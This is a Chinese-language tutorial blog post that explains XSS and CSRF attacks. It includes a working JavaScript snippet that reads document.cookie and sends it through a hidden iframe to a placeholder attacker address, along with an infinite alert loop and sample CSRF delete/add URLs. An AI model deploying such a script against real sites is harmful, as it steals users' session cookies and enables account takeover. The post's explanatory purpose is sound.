淺析XSS與CSRF兩種攻擊

XSS: 跨站腳本(cross-site scripting)
CSRF:跨站請求偽造(cross-site request forgery)

那么XSS與CORF到底是什么##

XSS###

xss,關(guān)鍵字在于腳本二字,他是注入攻擊的一種,特點(diǎn)是對服務(wù)器端沒有任何影響,相對CSRF來說也是容易解決的。但是在客戶端不處理的話,也是有很大的危害。

舉個(gè)例子####

假如某個(gè)論壇的評論功能里沒有預(yù)防xss,那么你在里面加入下面這段代碼,它就會自動執(zhí)行,就會造成,每當(dāng)用戶訪問這么頁面,就會不停地彈窗。很難受的惡作劇。

while(true)
  {
      alert('別想關(guān)掉我')
  }

然而這只是簡單的情況,萬一加入的是惡意的javascript代碼,就會帶來很大的危害。
比如,竊取用戶的cookie

(function(window, document) {
    // 構(gòu)造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隱藏 iframe 用于通訊
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 開工
    document.body.appendChild(hideFrame);
})(window, document);

這樣就建立了一個(gè)立即執(zhí)行的匿名函數(shù),在原本的頁面上增加了一個(gè)隱藏的框架,不斷竊取cookie并且發(fā)送,而且因?yàn)槭谦@取cookie之后才建立的非同源框架,繞開了跨域問題,攻擊者的后臺就可以利用這些cookie在有效期內(nèi)做各種事情,比如刪帖,發(fā)帖之類的。。
就這樣將代碼注入直接注入前端代碼的情況,也就是XSS

在這之后,如果通過之前獲取的cookie進(jìn)行增刪請求,這便是,CSRF攻擊,通過偽造用戶來達(dá)到發(fā)送請求來達(dá)到攻擊的目的。

CSRF###

CSRF:通過偽造用戶來達(dá)到發(fā)送請求來達(dá)到攻擊的目的。
假如某個(gè)網(wǎng)站沒有安全驗(yàn)證(實(shí)際不存在。。),他的增刪請求是通過特定的URL發(fā)送請求,

http://www.a.com/xx?id=215&method='delete'//刪除
http://www.a.com/xx?id=125&method=‘a(chǎn)dd’//添加

現(xiàn)在我們找到了規(guī)律,id便是用戶標(biāo)識,method便是操作,那么對這個(gè)URL發(fā)起請求,服務(wù)器以為我們是用戶在進(jìn)行操作,允許了操作,這便是CSRF攻擊

借用上例####

一般情況下,發(fā)起請求是有cookie驗(yàn)證的,這也就說明了cookie的重要性,所以在上例中如果竊取了用戶的cookie,理想狀態(tài)下就能進(jìn)行CSRF攻擊(當(dāng)然服務(wù)器沒這么蠢。。),下篇文章將會說一說現(xiàn)實(shí)中的xss注入攻擊和CSRF攻擊的一般防御措施

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容